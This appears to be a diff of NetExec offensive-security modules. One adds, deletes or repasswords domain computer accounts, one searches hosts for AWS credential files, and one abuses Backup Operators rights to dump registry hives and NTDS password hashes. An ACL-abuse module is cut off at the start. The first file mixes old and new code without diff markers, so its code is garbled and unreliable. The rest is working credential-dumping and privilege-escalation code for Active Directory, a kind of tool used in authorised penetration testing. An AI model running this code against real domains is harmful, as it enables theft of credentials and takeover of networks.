name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
DELETE Set to delete the computer account.
CHANGEPW Set to change an existing computer's password.
Usage (same syntax for ldap):
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
self.delete = "DELETE" in module_options
self.change_pw = False
if "DELETE" in module_options:
self.__delete = True
if "CHANGEPW" in module_options:
if "NAME" not in module_options or "PASSWORD" not in module_options:
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
sys.exit(1)
self.change_pw = True
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
if "NAME" not in module_options:
context.log.error("NAME option is required!")
sys.exit(1)
self.computer_name = module_options["NAME"]
if not self.computer_name.endswith("$"):
self.computer_name += "$"
if "PASSWORD" in module_options:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
self.computer_password = module_options["PASSWORD"]
elif not self.delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
self.context = context
self.connection = connection
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
if connection.args.protocol == "smb":
self._do_samr()
elif connection.args.protocol == "ldap":
self._do_ldap()
# First try to add via SAMR over SMB
self.do_samr_add(context)
def _db_remove_credential(self):
try:
db = self.context.db
domain = self.connection.domain
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
db.remove_credentials([row[0] for row in rows])
except Exception as e:
self.context.log.debug(f"Could not remove credentials from DB: {e}")
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def _db_add_credential(self):
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
def _do_samr(self):
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
Args:
----
context (object): The context object.
Returns:
-------
None
"""
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
try:
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
def _samr_execute(self, dce, target_name):
domain = self.connection.domain
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
if len(non_builtin) > 1:
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
if len(matched) != 1:
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
return
selected = matched[0]["Name"]
else:
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
selected = non_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
try:
if self.delete or self.change_pw:
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
else:
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
if user_handle is None:
return
if self.delete:
samr.hSamrDeleteUser(dce, user_handle)
user_handle = None
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
self._db_remove_credential()
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
if self.change_pw:
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
else:
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
self._db_add_credential()
finally:
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
samr.hSamrCloseHandle(dce, domain_handle)
samr.hSamrCloseHandle(dce, serv_handle)
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
samr.hSamrCloseHandle(dce, user_handle)
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, new_handle, req)
return new_handle
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
else:
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_ACCESS_DENIED" in str(e):
action = "delete" if self.delete else "change password for"
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
else:
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
return None
def _samr_create(self, dce, domain_handle, username):
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
return None
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
request = samr.SamrCreateUser2InDomain()
request["DomainHandle"] = domain_handle
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{username} does not have the right to create a computer account")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"{username} exceeded the machine account quota")
else:
self.context.log.fail(f"Error creating computer: {e}")
return None
def _do_ldap(self):
name = self.computer_name.rstrip("$")
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
if self.delete:
self._ldap_delete(self.connection.ldap_connection, computer_dn)
elif self.change_pw:
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
else:
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
def _ldap_delete(self, ldap_conn, dn):
try:
ldap_conn.delete(dn)
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
self._db_remove_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
def _ldap_change_password(self, ldap_conn, dn):
try:
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
self._db_add_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
elif "unwillingToPerform" in str(e):
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
def _ldap_add(self, ldap_conn, dn, name):
fqdn = f"{name}.{self.connection.domain}"
spns = [
f"HOST/{name}",
f"HOST/{fqdn}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{fqdn}",
]
try:
ldap_conn.add(
dn,
["top", "person", "organizationalPerson", "user", "computer"],
ucd
{
"dnsHostName": fqdn,
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.computer_name,
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
},
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
self._db_add_credential()
except LDAPSessionError as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
elif "unwillingToPerform" in str(e):
self.context.log.fail("Server unwilling to perform")
elif "constraintViolation" in str(e):
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
else:
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
+50
View File
@@ -0,0 +1,50 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
Module by Fortress
"""
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
def options(self, context, module_options):
r"""
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
Default: "'/home/' '/tmp/'"
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
"""
if "SEARCH_PATH_LINUX" in module_options:
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
if "SEARCH_PATH_WIN" in module_options:
self.search_path_win = module_options["SEARCH_PATH_WIN"]
def on_login(self, context, connection):
# search for aws_credentials-related files on linux systems
if "ssh" in context.protocol:
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
output = connection.execute(search_aws_creds_files_cmd)
else:
# search for aws_credentials-related files on windows systems
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
output = connection.execute(search_aws_creds_files_cmd_win, True)
if output:
context.log.success("The following files were found:")
for line in output.splitlines():
context.log.highlight(line.rstrip())
+205
View File
@@ -0,0 +1,205 @@
import contextlib
import re
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.local_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
if all_deleted:
double_check = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
self._print_cleanup_warning(context, rand_suffix)
def _extract_da_hash(self, output_filename, context):
try:
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
+216
View File
@@ -0,0 +1,216 @@
from impacket.ldap import ldaptypes
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
RELEVANT_OBJECT_TYPES = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
# Define all access rights
ACCESS_RIGHTS = {
# Generic Rights
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
# Maximum Allowed access type
"MaximumAllowed": 0x02000000,
# Access System Acl access type
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
# Standard access types
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
"Delete": 0x00010000, # ADS_RIGHT_DELETE
# Specific rights
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
}
# Define which rights are considered relevant for potential abuse
RELEVANT_RIGHTS = {
"GenericAll": ACCESS_RIGHTS["GenericAll"],
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
"CreateChild": ACCESS_RIGHTS["CreateChild"],
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
}
FUNCTIONAL_LEVELS = {
"Windows 2000": 0,
"Windows Server 2003": 1,
"Windows Server 2003 R2": 2,
"Windows Server 2008": 3,
